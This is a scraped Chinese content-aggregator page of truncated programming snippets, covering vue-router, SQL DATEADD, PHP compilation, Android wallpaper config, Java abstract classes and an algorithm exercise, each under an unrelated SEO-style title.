1、路由简介 vue-rooter&#xff1a;是vue的一个插件库&#xff0c;专门用来实现SPA应用 1.1、对SPA应用的理解 1、单页 Web 应用&#xff08;single page web application&#xff0c;SPA&#xff09;。 2、整个应用只有一个完整的页面 index.html。 3、点击页面中的导航链…...

政府网站建设评语/学设计什么培训机构好

## 给一个日期加上一天 select DATEADD(DAY,1,GETDATE())&#xff1b;给表中的日期列加上一天&#xff1a;DATEADD(DAY,1,日期) 当然&#xff0c;这个函数不止能单一的实现&#xff0c;语法其实是DATEADD(需要计算的时间类型,相距数量,日期字段)&#xff0c;比如你可以推算今天…...

承德做网站/友情链接英文

1.首先安装好LAMP这一个组合&#xff0c;在安装的过程中重点关注PHP的安装./configure --prefix/usr/local/php5 --enable-mbstring--with-apxs2/usr/local/apache2/bin/apxs--with-mysql/usr/local/mysql--with-config-file-path/usr/local/php5--with-zlibmake ;make install…...

为什么要用php做网站/百度最贵关键词排名

局域网客户端的管理 随着网络用户数量的不断增加&#xff0c;由此而引发的网络通信和安全故障越来越多。尤其是对网络滥用导致的网络拥塞&#xff0c;以及蠕虫病毒泛滥导致的性能下降&#xff0c;以及系统漏洞导致的恶意攻击&#xff0c;如果不采取相应的、有力的应对措施&…...

制作免费企业宣传视频/seo外包公司排名

1&#xff09;修改开机默认壁纸 Android开机默认资源文件为&#xff1a;frameworks/base/core/res/res/values/config.xml 我们找到wallpaper行&#xff1a; <string name"default_wallpaper_component">null</string> 系统默认壁纸一般是一张静态图片&a…...

温州外贸公司网站建设公司排名/世界十大网站排名

java基础之抽象类&#xff1a; 一、父类不确定性&#xff1a;&#xff08;所谓抽象方法就是没有实现的方法&#xff0c;也就是没有方法体的方法&#xff09; 1.当父类的某些方法&#xff0c;需要声明&#xff0c;但是又不确定如何实现是&#xff0c;可以将其声明为抽象方法&am…...

网站建设课程设计报告总结/seo排名赚靠谱吗

题目如下&#xff1a; 输入一个整数 n &#xff0c;求1&#xff5e;n这n个整数的十进制表示中1出现的次数。 例如&#xff0c;输入12&#xff0c;1&#xff5e;12这些整数中包含1 的数字有1、10、11和12&#xff0c;1一共出现了5次。 示例 1&#xff1a; 输入&#xff1a;n 1…...